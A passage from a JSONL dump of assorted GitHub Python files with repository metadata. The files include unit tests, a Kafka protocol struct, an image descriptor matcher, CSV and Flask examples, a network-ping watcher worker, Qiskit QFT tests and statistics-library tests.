#print('\\n'.join(debug_dump(t)))\n    assert(styled(t) == [('ERROR', [SM('err',0,5)])])\n\n\n\ndef test_empty_flattenable():\n    s = Text()\n    t = Text(s)\n    assert(str(t) == '')\n    assert(len(list(t.flatten())) == 1)\n    assert(len(list(Text('\\n').flatten())) == 2)\n\n\n@pytest.mark.skip(reason='Not Implemented')\ndef test_text_lang():\n    s = Text('\\berr$', 'Danger\\fzh 危险', '\\b$ !', \"Don't hold plutonium\\vwith bare hands.\\fzh ���要赤手拿钚。\")\n    assert(flat(s) == [\"Danger!Don't hold plutonium\", 'with bare hands.           '])\n    s = Text('\\berr$', 'Danger\\fzh 危险', '\\b$ !', \"Don't hold plutonium\\vwith bare hands.\\fzh 不要赤\\v手拿钚。\", lang='zh')\n    assert(flat(s) == ['危险!不要赤','手拿钚。   '])\n\n\n\ndef test_text_calc_height():\n    class MyText(Text):\n        def calc_height(self):\n            return 3\n    s = MyText('aa\\nbbb')\n    assert(s.height == 3)\n    assert(styled(s, h=3) == [\n        ('aa', []),\n        ('bbb', []),\n        ('', [])\n    ])\n","repo_name":"aaron-fl/print_ext","sub_path":"tests/text_test.py","file_name":"text_test.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"21250438192","text":"from typing import ClassVar, List\n\nfrom ...constants import ApiKey, ErrorCode\nfrom ..base import ResponseData\n\n\nclass PartitionError:\n\n    partition: int\n    error_code: ErrorCode\n\n    def __init__(self, partition: int, error_code: ErrorCode):\n        \"\"\"\n        :param partition: Topic partition id\n        :type partition: int\n        :param error_code: Response error code\n        :type error_code: ErrorCode\n        \"\"\"\n        self.partition = partition\n        self.error_code = error_code\n\n\nclass Error:\n\n    topic: str\n    partition_errors: List[PartitionError]\n\n    def __init__(self, topic: str, partition_errors: List[PartitionError]):\n        \"\"\"\n        :param topic: Name of topic\n        :type topic: str\n        :param partition_errors: None\n        :type partition_errors: List[PartitionError]\n        \"\"\"\n        self.topic = topic\n        self.partition_errors = partition_errors\n\n\nclass AddPartitionsToTxnResponseData(ResponseData):\n\n    throttle_time_ms: int\n    errors: List[Error]\n    api_key: ClassVar[ApiKey] = ApiKey.ADD_PARTITIONS_TO_TXN\n\n    def __init__(self, throttle_time_ms: int, errors: List[Error]):\n        \"\"\"\n        :param throttle_time_ms: Duration in milliseconds for which the request was throttled due to quota violation\n                                 (Zero if the request did not violate any quota)\n        :type throttle_time_ms: int\n        :param errors: None\n        :type errors: List[Error]\n        \"\"\"\n        self.throttle_time_ms = throttle_time_ms\n        self.errors = errors\n","repo_name":"real-digital/esque-wire","sub_path":"esque_wire/protocol/structs/api/add_partitions_to_txn_response.py","file_name":"add_partitions_to_txn_response.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28579162874","text":"import numpy as np\nfrom scipy.spatial.distance import cdist\n\n\ndef match_descriptors(descriptors1, descriptors2, metric=None, p=2,\n                      max_distance=np.inf, cross_check=True):\n    \"\"\"Brute-force matching of descriptors.\n\n    For each descriptor in the first set this matcher finds the closest\n    descriptor in the second set (and vice-versa in the case of enabled\n    cross-checking).\n\n    Parameters\n    ----------\n    descriptors1 : (M, P) array\n        Binary descriptors of size P about M keypoints in the first image.\n    descriptors2 : (N, P) array\n        Binary descriptors of size P about N keypoints in the second image.\n    metric : {'euclidean', 'cityblock', 'minkowski', 'hamming', ...}\n        The metric to compute the distance between two descriptors. See\n        `scipy.spatial.distance.cdist` for all possible types. The hamming\n        distance should be used for binary descriptors. By default the L2-norm\n        is used for all descriptors of dtype float or double and the Hamming\n        distance is used for binary descriptors automatically.\n    p : int\n        The p-norm to apply for ``metric='minkowski'``.\n    max_distance : float\n        Maximum allowed distance between descriptors of two keypoints\n        in separate images to be regarded as a match.\n    cross_check : bool\n        If True, the matched keypoints are returned after cross checking i.e. a\n        matched pair (keypoint1, keypoint2) is returned if keypoint2 is the\n        best match for keypoint1 in second image and keypoint1 is the best\n        match for keypoint2 in first image.\n\n    Returns\n    -------\n    matches : (Q, 2) array\n        Indices of corresponding matches in first and second set of\n        descriptors, where ``matches[:, 0]`` denote the indices in the first\n        and ``matches[:, 1]`` the indices in the second set of descriptors.\n\n    \"\"\"\n\n    if descriptors1.shape[1] != descriptors2.shape[1]:\n        raise ValueError(\"Descriptor length must equal.\")\n\n    if metric is None:\n        if np.issubdtype(descriptors1.dtype, np.bool):\n            metric = 'hamming'\n        else:\n            metric = 'euclidean'\n\n    distances = cdist(descriptors1, descriptors2, metric=metric, p=p)\n\n    indices1 = np.arange(descriptors1.shape[0])\n    indices2 = np.argmin(distances, axis=1)\n\n    if cross_check:\n        matches1 = np.argmin(distances, axis=0)\n        mask = indices1 == matches1[indices2]\n        indices1 = indices1[mask]\n        indices2 = indices2[mask]\n\n    matches = np.column_stack((indices1, indices2))\n\n    if max_distance < np.inf:\n        matches = matches[distances[indices1, indices2] < max_distance]\n\n    return matches\n","repo_name":"ryfeus/lambda-packs","sub_path":"Skimage_numpy/source/skimage/feature/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":2674,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"22"}
+{"seq_id":"44122736159","text":"# page 101 // homework 2021-01-07\n# TASK 3: \n#           - write a progam that set the 'total' variable to 100\n#           - and subtracts input numbers from the 'total' variable \n#           - until user enters a number greater than 99\n#\ntotal = 100\nnumber = 1 # define number with something that is not 'true' in while\n\n# loop until the user enters a number greater than 99 (i.e. 100 or greater)\nwhile number <= 99:  # same as:      'while number < 100:'\n    number = input(\"enter a number: \")\n    number = int(number)\n    total = total - number\nprint(total) # print total after while loop\n","repo_name":"TaylorDevz/4.3_Conditional_Loop_Page_98","sub_path":"4.3d_input_number_until_input_greater_99.py","file_name":"4.3d_input_number_until_input_greater_99.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"25365990246","text":"#!/usr/bin/env python3\n\nimport csv\n\nFILE_NAME = 'some.csv'\ncsv.register_dialect('has_double_quote', delimiter='|', doublequote=True)\n\ndef read_from_csv():\n    with open(FILE_NAME, 'r', newline='') as f:\n        reader = csv.reader(f, 'has_double_quote')\n        for i in reader:\n            print(\"{line}: {msg}\".format(line=reader.line_num, msg=i))\n\ndef write_to_csv():\n    with open(FILE_NAME, 'w', newline='') as f:\n        writer = csv.writer(f, 'has_double_quote')\n        writer.writerow(['name', 'number'])\n        writer.writerow(['ak', '9527'])\n        writer.writerow(['google', '95\"\"\"28'])\n        \ndef read_dic_from_csv():\n    with open(FILE_NAME, 'r', newline='') as f:\n        reader = csv.DictReader(f, fieldnames=None, dialect='has_double_quote')\n        for i in reader:\n            print(i)\n            print(i.get('number'), i.get('name'),'----')\n\ndef write_dic_to_csv():\n    dic1 = {'name': 'ak1', 'number': '01'}\n    dic2 = {'name': 'ak2', 'number': '02'}\n    with open(FILE_NAME, 'a', newline='') as f:\n        writer = csv.DictWriter(f, fieldnames=['name', 'number'], dialect=\"has_double_quote\")\n        writer.writeheader()\n        writer.writerow(dic1)\n        writer.writerow(dic2)\n\ndef main():\n    print('writer_to_csv')\n    write_to_csv()\n    print('read from csv')\n    read_from_csv()\n    print('writer dic to csv')\n    write_dic_to_csv()\n    print('read_dic_from_csv')\n    read_dic_from_csv()\n\nif __name__ == '__main__':\n    main()\n","repo_name":"alick97/python_train","sub_path":"lib/lib_csv/csv_use.py","file_name":"csv_use.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9506062371","text":"# 2012036774\n# Kim Haryeong\nimport json\nfrom price.models import *\n\nwith open('price/initial_category.json', 'r') as f:\n    data = json.loads(f.read())\n    for category_data in data['data']:\n        category = Category(name=category_data['key'])\n        category.save()\n        for main_data in category_data['value']:\n            Main(name=main_data, category=category).save()\n\n\n","repo_name":"HYUSE/How-much","sub_path":"server/se/init_data.py","file_name":"init_data.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"5302181305","text":"# 실습 \r\n# 아까 4가지로 모델을 만들고 비교하기\r\n\r\nimport numpy as np\r\nfrom sklearn.decomposition import PCA\r\nfrom tensorflow.keras.datasets import mnist\r\nfrom tensorflow.keras.utils import to_categorical\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout\r\n\r\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\r\n\r\n# print(x_train.shape, x_test.shape)  # (60000, 28, 28) (10000, 28, 28)\r\n\r\nscaler = StandardScaler()\r\nx_train = x_train.reshape(60000, -1)  # (60000, 784)\r\nx_test = x_test.reshape(10000, -1)  # (10000, 784)\r\n\r\nx_train = scaler.fit_transform(x_train)\r\nx_test = scaler.transform(x_test)\r\n\r\ny_train = to_categorical(y_train)\r\ny_test = to_categorical(y_test)\r\n\r\n\r\n# pca를 통해 0.95 이상인 n_components가 몇개?\r\n\r\npca = PCA(n_components=486)  # 칼럼이 28*28개의 벡터로 압축이됨\r\nx_train = pca.fit_transform(x_train)\r\nx_test = pca.transform(x_test)\r\n\r\n# pca_EVR = pca.explained_variance_ratio_\r\n# print(pca_EVR)   \r\n# print(sum(pca_EVR)) \r\n\r\n# cumsum = np.cumsum(pca_EVR)  \r\n# print(cumsum[0])\r\n\r\n# 2. 모델구성\r\n\r\nmodel=Sequential()\r\nmodel.add(Dense(64, input_shape=(486,)))\r\nmodel.add(Dropout(0.2))\r\nmodel.add(Dense(32, activation='relu'))\r\nmodel.add(Dropout(0.2))\r\nmodel.add(Dense(10, activation='softmax'))\r\n\r\n#3. 컴파일\r\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\nfrom tensorflow.keras.callbacks import EarlyStopping, ModelCheckpoint\r\nes = EarlyStopping(monitor='val_loss', patience=20, mode='min', restore_best_weights=True)\r\n\r\nimport time\r\nstart = time.time()\r\nmodel.fit(x_train, y_train, epochs=1000, batch_size=16, validation_split=0.2, callbacks=[es])\r\nend = time.time()-start\r\nprint(\"걸린 시간 : \", round(end, 2))\r\n\r\n#4. 예측\r\nloss = model.evaluate(x_test, y_test)\r\nprint(\"loss, accuracy : \", loss)\r\n\r\nacc = str(round(loss[1], 4))\r\nmodel.save(\"../_save/dnn_mnist_{}.h5\".format(acc))\r\n\r\n\r\n'''\r\n1. PCA 적용전\r\nloss, accuracy :  [0.16708636283874512, 0.9592999815940857]\r\n\r\n2. 0.95\r\n걸린 시간 :  584.06\r\nloss, accuracy :  [0.17635329067707062, 0.9578999876976013]\r\n\r\n3. 0.99\r\n걸린 시간 :  624.63\r\nloss, accuracy :  [0.1727934181690216, 0.9595000147819519]\r\n\r\n4. 0.999\r\n걸린 시간 :  411.45\r\nloss, accuracy :  [0.18372932076454163, 0.9531999826431274]\r\n\r\n5. 1.0\r\nloss, accuracy :  [0.21637573838233948, 0.9509999752044678]\r\n'''\r\n","repo_name":"onlydj96/study","sub_path":"ml/m17_pca_mnist2_DNN.py","file_name":"m17_pca_mnist2_DNN.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18480792587","text":"\nimport os\nimport glob\n\nfrom flask import flash,request,redirect,url_for,send_file\nfrom flask.templating import render_template\nfrom  flaskproject import app\nfrom flaskproject.models import start,status,stop,restart,snap_id,awr_report\n\n\n\n@app.route('/tom_server', methods=('GET','POST'))\ndef tom_server():\n    if request.method == 'POST':\n        servers_name = request.form['servers'].split(\",\")\n        snap_ids = request.form['snap_ids'].split(\",\")\n        action_name= request.form['status']\n\n        error = None\n        if error is None:\n            if action_name == 'status':\n                for server_name in servers_name:\n                    status(server_name)\n                        #server_name = threading.Thread(target=models.status, args=(server_name,))\n                        #server_name.start()\n            elif action_name == 'start':\n                for server_name in servers_name:\n                    start(server_name)\n\n            elif action_name =='stop':\n                for server_name in servers_name:\n                    stop(server_name)\n\n            elif action_name == 'restart':\n                for server_name in servers_name:\n                    restart(server_name)\n            elif action_name == 'snap_id':\n                snap_id()\n            elif action_name == 'awr_report':\n                awr_report(snap_ids)\n                #return send_file('/root/FlaskProject/flaskproject/awrreports/DPD8_30012020.html', attachment_filename='DPD8_30012020.html')\n     \n\n                #flash(error, 'error')\n\n    return render_template('tom_server.html')\n\n\n@app.route('/download', methods=('GET','POST'))\ndef download():\n    list_of_files = glob.glob('/root/FlaskProject/flaskproject/awrreports/*.html')\n    latest_file = max(list_of_files, key=os.path.getctime)\n    #flash(latest_file)\n    return send_file(latest_file, attachment_filename=latest_file)\n","repo_name":"venuell/Flask_nginx_dev","sub_path":"flaskproject/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"14694367420","text":"#!/usr/bin/python\n# -*- coding: utf8 -*-\nimport sys\nimport traceback\nimport logging\nimport re\nimport json\nimport threading\nimport requests\nfrom urllib.parse import urlencode\n\nsys.path.append(\"..\")\nfrom worker import Worker\nfrom httpstatus import HTTPStatus\n\nloop = True\n\n\nclass Watcher(Worker):\n    def __init__(self):\n        super().__init__(__file__)\n        self.type = \"watcher\"\n        # These kawaii variables↓ only works for Threads in Threads Pool\n        self.pingApiUrl = \"https://www.ipip.net/ping.php\"\n        self.parseRE = re.compile(r\"parent\\.call_ping\\((.*?)\\);\")\n        self.lostAllPercentThreshold = float(self.config.get('watcher', 'lostAllPercentThreshold'))\n        self.pinging = True\n        self.toSync = False\n        self.rawRst = \"\"\n        self.logSyncingChunckSize = int(self.config.get('watcher', 'logSyncingChunckSize'))\n\n    def ping(self, host=None, depth=0):\n        if host is None:\n            raise Exception(\"Try to ping an empty host\")\n        ping_data_dict = {'a': 'send', 'host': host, 'area[]': 'china'}\n        try:\n            r = requests.get(self.pingApiUrl, params=urlencode(ping_data_dict), stream=True, timeout=self.connTimeout)\n            if r.encoding is None:\n                r.encoding = 'utf-8'\n            for chunck in r.iter_content(self.logSyncingChunckSize, decode_unicode=True):\n                # filter out keep-alive new chuncks\n                if chunck:\n                    self.rawRst += chunck\n                    self.toSync = True\n        except:\n            traceback.print_exc(file=sys.stderr)\n            if depth < self.maxTry:\n                logging.warning(\"Failed while pinging host %s after trying %d times, reconnecting...\" % (host,\n                                                                                                         (depth + 1)))\n                self.rawRst = \"\"\n                return self.ping(host, depth + 1)\n            else:\n                logging.error(\"Failed while pinging host %s after trying %d times, exiting...\" % (host, self.maxTry))\n                return False\n        finally:\n            self.pinging = False\n\n    def sync_log(self, task):\n        while self.pinging:\n            if self.toSync:\n                ping_rst = self.generate_report(self.rawRst)\n                ping_log = ping_rst.pop('log')\n                try:\n                    ping_rst_str = json.dumps(ping_rst)\n                    ping_log_str = json.dumps(ping_log)\n                except:\n                    logging.error(\"Failed while dumping json\")\n                    traceback.print_exc(file=sys.stderr)\n                    continue\n                try:\n                    logging.info('Updating task %s log' % task['ID'])\n                    rst = self._PUT(path='task/' + str(task['ID']), data_dict={'worker': self.name,\n                                                                               'result': ping_rst_str,\n                                                                               'log': ping_log_str})\n                    if not (rst.code == HTTPStatus.OK and rst['result']):\n                        logging.error('Update task log: %s' % rst)\n                        raise Exception('Failed to update task log')\n                except:\n                    logging.error('Failed to update task %s log' % task['ID'])\n                    traceback.print_exc(file=sys.stderr)\n                    return False\n        ping_rst = self.generate_report(self.rawRst)\n        ping_log = ping_rst.pop('log')\n        try:\n            ping_rst_str = json.dumps(ping_rst)\n            ping_log_str = json.dumps(ping_log)\n        except:\n            logging.error(\"Failed while dumping json\")\n            traceback.print_exc(file=sys.stderr)\n            return\n        state = 'Passing' if ping_rst['lost_all_percent'] < self.lostAllPercentThreshold else 'Failing'\n        try:\n            logging.info('Updating task %s result' % task['ID'])\n            rst = self._PUT(path='task/' + str(task['ID']), data_dict={'worker': self.name,\n                                                                       'state': state,\n                                                                       'result': ping_rst_str,\n                                                                       'log': ping_log_str})\n            if not (rst.code == HTTPStatus.OK and rst['result']):\n                logging.error('Update task result: %s' % rst)\n                raise Exception('Failed to update task result')\n        except:\n            logging.error('Failed to update task %s result ' % task['ID'])\n            traceback.print_exc(file=sys.stderr)\n            return False\n        if not self.callback(task):\n            return False\n\n    def parse_ping_rst(self, raw_rst):\n        rst_list = self.parseRE.findall(raw_rst)\n        rst_list_de = []\n        for r in rst_list:\n            rst_list_de.append(json.loads(r))\n        return rst_list_de\n\n    def cal_node_status(self, rst):\n        n = len(rst)\n        lost_all_cnt = 0\n        lost_cnt = 0\n        res_time_cnt = 0.0\n        for r in rst:\n            if int(r['loss']) == 100:\n                lost_all_cnt += 1\n            res_time_cnt += float(r['rtt_avg'])\n            lost_cnt += int(r['loss'])\n        if n != 0:\n            lost_all_percent = float(lost_all_cnt / n) * 100\n            avg_lost_percent = float(lost_cnt / n)\n            avg_res_time = float(res_time_cnt / n)\n        else:\n            lost_all_percent = 0\n            avg_lost_percent = 0\n            avg_res_time = 0\n        rst_dict = {'lost_all_percent': lost_all_percent,\n                    'avg_lost_percent': avg_lost_percent,\n                    'avg_res_time': avg_res_time,\n                    'pinger_cnt': n\n                    }\n        return rst_dict\n\n    def generate_report(self, raw_rst):\n        try:\n            rst = self.parse_ping_rst(raw_rst)\n        except:\n            logging.error(\"Failed while parsing raw result\")\n            traceback.print_exc(file=sys.stderr)\n        try:\n            data = self.cal_node_status(rst)\n        except:\n            logging.error(\"Failed while calculating result\")\n            traceback.print_exc(file=sys.stderr)\n            return \"\", False\n        data['log'] = rst\n        return data\n\n    def heartbeat(self):\n        logging.debug(\"Sending heartbeat package...\")\n        try:\n            rst = self._POST(path=\"status/worker/\" + self.name, data_dict={'class': self.type})\n            if not (rst['code'] == HTTPStatus.OK and rst['result']):\n                logging.error('Heartbeat result: %s' % rst)\n                raise Exception('Invalid heartbeat result')\n        except:\n            logging.error('Failed while heartbeating')\n            traceback.print_exc(file=sys.stderr)\n\n    def get_tasks(self):\n        rst = None\n        try:\n            rst = self._GET(path=\"task\", data_dict={'class': self.type, 'state': 'Queuing'})\n            if not (rst['code'] == HTTPStatus.OK and rst['result']):\n                logging.error('Get tasks result: %s' % rst)\n                raise Exception('Invalid get tasks result')\n        except:\n            logging.error('Failed while getting tasks')\n            traceback.print_exc(file=sys.stderr)\n        return rst['data']['data']\n\n    def watch(self, task):\n        # Try to assign one task\n        try:\n            rst = self._PUT(path='task/' + str(task['ID']) + '/assign', data_dict={'worker': self.name})\n            if rst.code != HTTPStatus.OK:\n                logging.error('Task assign result: %s' % rst)\n                raise Exception('Invalid task assign result')\n            elif rst['result']:\n                try:\n                    rst = self._PUT(path='task/' + str(task['ID']), data_dict={'worker': self.name,\n                                                                               'state': 'Pending'})\n                    if not (rst.code == HTTPStatus.OK and rst['result']):\n                        logging.error('Update task status to Pending result: %s' % rst)\n                        raise Exception('Update task status to Pending failed')\n                except:\n                    logging.error('Failed while updating task %s status to Pending' % task['ID'])\n                    traceback.print_exc(file=sys.stderr)\n            elif not rst['result']:\n                return False\n        except:\n            logging.error('Failed while assigning task %s' % task['ID'])\n            traceback.print_exc(file=sys.stderr)\n        if task['Node']['ID'] == 0:\n            host = task['ServerName']\n        else:\n            host = task['Node']['DomainPrefix4'] + '.' + task['Node']['DomainRoot']\n\n        th = threading.Thread(target=self.sync_log, kwargs={'task': task})\n        logging.info('Start log syncing for ping %s' % host)\n        self.pinging = True\n        th.start()\n        logging.info('Start pinging %s' % host)\n        # Perform ping\n        res = self.ping(host)\n        th.join()\n        return res\n","repo_name":"cool2645/ss-monitor","sub_path":"watcher/watcher.py","file_name":"watcher.py","file_ext":"py","file_size_in_byte":9001,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"20021170150","text":"# record sdks behavior\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\n\nclass Log(object):\n    def __init__(self, log_name, log_address, level=logging.DEBUG):\n        self.logger = logging.getLogger(log_name)\n        formatter = logging.Formatter('%(message)s')\n        file_handler = RotatingFileHandler(log_address, maxBytes=100*1024*1024,\n                                           backupCount=10)\n        file_handler.setFormatter(formatter)\n        self.logger.addHandler(file_handler)\n        self.logger.setLevel(level)\n\n\n","repo_name":"namesuqi/pirate","sub_path":"misc/case/vod_push/1506_1507/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26683154127","text":"import unittest\nfrom test import combine\nfrom ddt import ddt\n\nfrom qiskit.test import QiskitTestCase\nfrom qiskit.circuit.library import QFT\nfrom qiskit.synthesis.qft import synth_qft_line\nfrom qiskit.quantum_info import Operator\n\nfrom qiskit.synthesis.linear.linear_circuits_utils import check_lnn_connectivity\n\n\n@ddt\nclass TestQFTLNN(QiskitTestCase):\n    \"\"\"Tests for QFT synthesis functions.\"\"\"\n\n    @combine(num_qubits=[2, 3, 4, 5, 6, 7, 8], do_swaps=[True, False])\n    def test_qft_lnn(self, num_qubits, do_swaps):\n        \"\"\"Assert that the original and synthesized QFT circuits are the same.\"\"\"\n        qft_circ = QFT(num_qubits, do_swaps=do_swaps)\n        qft_lnn = synth_qft_line(num_qubits, do_swaps=do_swaps)\n\n        with self.subTest(msg=\"original and synthesized QFT circuits are not the same\"):\n            self.assertEqual(Operator(qft_circ), Operator(qft_lnn))\n\n        # Check that the output circuit has LNN connectivity\n        with self.subTest(msg=\"synthesized QFT circuit do not have LNN connectivity\"):\n            self.assertTrue(check_lnn_connectivity(qft_lnn))\n\n    @combine(num_qubits=[5, 6, 7, 8], do_swaps=[True, False], approximation_degree=[2, 3])\n    def test_qft_lnn_approximated(self, num_qubits, do_swaps, approximation_degree):\n        \"\"\"Assert that the original and synthesized QFT circuits are the same with approximation.\"\"\"\n        qft_circ = QFT(num_qubits, do_swaps=do_swaps, approximation_degree=approximation_degree)\n        qft_lnn = synth_qft_line(\n            num_qubits, do_swaps=do_swaps, approximation_degree=approximation_degree\n        )\n\n        with self.subTest(msg=\"original and synthesized QFT circuits are not the same\"):\n            self.assertEqual(Operator(qft_circ), Operator(qft_lnn))\n\n        # Check that the output circuit has LNN connectivity\n        with self.subTest(msg=\"synthesized QFT circuit do not have LNN connectivity\"):\n            self.assertTrue(check_lnn_connectivity(qft_lnn))\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"Qiskit/qiskit","sub_path":"test/python/synthesis/test_qft_synthesis.py","file_name":"test_qft_synthesis.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":4020,"dataset":"github-code","pt":"22"}
+{"seq_id":"1249413859","text":"'''It will only work if you run this inside the GCP platform,\notherwise an API key is required to access the crypto project\nthat Cesar is using.\n\nMeant to be run in the main folder\n'''\n\nfrom crypto_utils import BinanceOrderBook, OrderBookComposite\nfrom google.cloud import bigquery\nimport pandas as pd\nimport yaml\nimport datetime\n\nwith open('config.yaml', 'r') as f:\n    CONFIG = yaml.safe_load(f)\n\ndef update_update_times(client,new_timestamp):\n    table_id = 'crypto-335808.raw_data.update_times'\n    query = \"SELECT * FROM {}\".format(table_id)\n    query_job = client.query(query)\n    update_times_df = query_job.to_dataframe()\n\n    row = 1\n    update_times_df.loc[row,'timestamp'] = new_timestamp\n\n    #now we can just upload this value to the table\n    job_config = bigquery.LoadJobConfig(write_disposition = bigquery.WriteDisposition.WRITE_TRUNCATE)\n    job = client.load_table_from_dataframe(update_times_df,table_id,job_config=job_config)\n    job.result()\n\ndef run(event,context):\n    symbols = CONFIG['api_binance']['symbols']\n    order_books = OrderBookComposite()\n    for symbol in symbols:\n        order_books.add_order_book(BinanceOrderBook(symbol))\n\n    data = order_books.get_order_book_snapshot()\n    symbol_map = {i:symbols[i-1] for i in range(1,len(symbols)+1)}\n    symbol_map_reverse = {symbols[i-1]:i for i in range(1,len(symbols)+1)}\n\n    # the next few linex put the dataframes in just one table to upload\n    # to big query\n\n    new_timestamp = pd.to_datetime(datetime.datetime.utcnow())\n    dfs = []\n    for coin in data:\n        df = pd.DataFrame(data[coin]).rename_axis('levels').reset_index().round(3)\n        df['levels'] = (df['levels']*100).round(1)\n        df['levels'] = df['levels'].astype('str').str.replace('.','_')\n        df['label_bids'] = 'bids_' + df['levels']\n        df['label_asks'] = 'asks_' + df['levels']\n\n        bids = pd.Series(index=df.label_bids,data=df['bids'].values)\n        asks = pd.Series(index=df.label_asks,data=df['asks'].values)\n        f_df = pd.concat([bids,asks]).to_frame().T\n        f_df.insert(0,'timestamp',new_timestamp)\n        f_df.insert(1,'coin',symbol_map_reverse[coin])\n        f_df.insert(2,'price',float(data[coin]['price']))\n        dfs.append(f_df)\n    final_df = pd.concat(dfs)\n\n    #the next few lines perform the loading job to the big query table.\n\n    client = bigquery.Client()\n\n    update_update_times(client,new_timestamp)\n\n    table_id = 'crypto-335808.raw_data.order_book_copy'\n    job_config = bigquery.LoadJobConfig(autodetect=True,\n                                    create_disposition=bigquery.job.CreateDisposition.CREATE_IF_NEEDED,\n                                    write_disposition=bigquery.job.WriteDisposition.WRITE_APPEND)\n\n    job = client.load_table_from_dataframe(final_df,table_id,job_config)\n    job.result()\n\n","repo_name":"cesarsroy/crypto_build","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"9586294222","text":"\"\"\"test data_transform methods and compare them with class members methods\n\n:Author: Thomas Cokelaer, Thomas.Cokelaer@inria.fr\n\n.. todo:: to be clean\n\"\"\"\n__version__ = \"$Id$\"\n\nfrom openalea.stat_tool.vectors import Vectors\nfrom openalea.stat_tool.histogram import Histogram\nfrom openalea.stat_tool.distribution import Distribution, Uniform, Binomial, \\\n    NegativeBinomial\nfrom openalea.stat_tool.mixture import Mixture\nfrom openalea.stat_tool.convolution import Convolution\nfrom openalea.stat_tool.simulate import Simulate\nfrom openalea.stat_tool.compound import Compound\nfrom openalea.stat_tool.output import Plot\nfrom openalea.stat_tool.data_transform import Shift, Merge, Fit, ValueSelect, \\\n    SelectVariable, SelectIndividual, MergeVariable, ExtractDistribution, \\\n    ExtractHistogram, ExtractData, SelectStep\n\nfrom tools import runTestClass\n\nfrom openalea.stat_tool import get_shared_data\n\nclass data():\n    \"\"\"Create some common data sets for the classes\n    shift, fit, merge, ...\n    \"\"\"\n\n    def __init__(self):\n        self.N = 1000\n\n    def comp_data(self):\n        d1 = Binomial(0, 10, 0.5)\n        d2 = NegativeBinomial(0, 1, 0.1)\n        comp = Compound(d1, d2)\n        comp_data = comp.simulate(self.N)\n        return comp_data\n\n    def conv_data(self):\n        d1 = Binomial(0, 10, 0.5)\n        d2 = NegativeBinomial(0, 1, 0.1)\n        conv = Convolution(d1, d2)\n        conv_data = conv.simulate(self.N)\n        return conv_data\n\n    def mixt_data(self):\n        d1 = Binomial(0, 10, 0.5)\n        d2 = NegativeBinomial(0, 1, 0.1)\n        mixt = Mixture(0.1, d1, 0.4, d2)\n        mixt_data = mixt.simulate(self.N)\n        return mixt_data\n\n    def hist_data(self):\n        h = Histogram(get_shared_data( \"meri2.his\"))\n        return h\n\n    def int_vector_data(self):\n        a = [[1, 3, 4],\n             [4, 12, 2],\n             [8, 7, 3],]\n        v = Vectors(a)\n        return v\n\n    def float_vector_data(self):\n        v = Vectors([[0.1, 0.3, 4.2],\n                     [0.5, 2.3, 1.2],\n                     [4.5, 6.3, 3.2],\n                     ])\n        return v\n\n    def mixt(self):\n        d1 = Uniform(0, 10)\n        d2 = Uniform(10, 20)\n        d3 = Uniform(20, 30)\n        m = Mixture(0.1, d1, 0.2, d2, 0.7, d3)\n        return m\n\n    def comp(self):\n        d1 = Binomial(2, 5, 0.5)\n        d2 = NegativeBinomial(0, 2, 0.5)\n        c = Compound(d1, d2)\n        return c\n\n    def conv(self):\n        d1 = Binomial(0, 10, 0.5)\n        d2 = NegativeBinomial(0, 1, 0.1)\n        m = Convolution(d1, d2)\n        return m\n\nclass TestSelectStep(data):\n\n    def __init__(self):\n        data.__init__(self)\n\n    def test_select_step_vectors(self):\n        data = self.int_vector_data\n        try:\n            SelectStep(data,1, 100)\n            assert False\n        except:\n            assert True\n\n\nclass TestShift(data):\n\n    def __init__(self):\n        data.__init__(self)\n\n    def test_shift_compound_data(self):\n        comp_data = self.comp_data()\n        assert comp_data.shift(20) == Shift(comp_data, 20)\n\n    def test_shift_convolution_data(self):\n        conv_data = self.conv_data()\n        assert conv_data.shift(20) == Shift(conv_data, 20)\n\n    def test_shift_mixture_data(self):\n        mixt_data = self.mixt_data()\n        assert mixt_data.shift(20) == Shift(mixt_data, 20)\n\n    def test_shift_histo(self):\n        # equivalent to test Distribution data\n        h = data.hist_data(self)\n        assert h.shift(2)\n        assert Shift(h, 2) == h.shift(2)\n\n    def test_shift_vector(self):\n        vn = Vectors([[0.2, 1., 2, 3],\n                      [4.2, 5, 6, 7]])\n        v1 = Vectors([[1.]])\n        assert Shift(v1, 2)\n        assert Shift(vn, 1, 2)\n        assert str(Shift(vn, 1, 2)) == str(vn.shift(1, 2))\n\n\nclass TestFit:\n\n    def __init__(self):\n        pass\n\n    def test_fit_histogram(self):\n        meri5 = Histogram(get_shared_data( \"meri5.his\"))\n        dist1 = Fit(meri5, Distribution(\"B\", 0, 10, 0.437879))\n        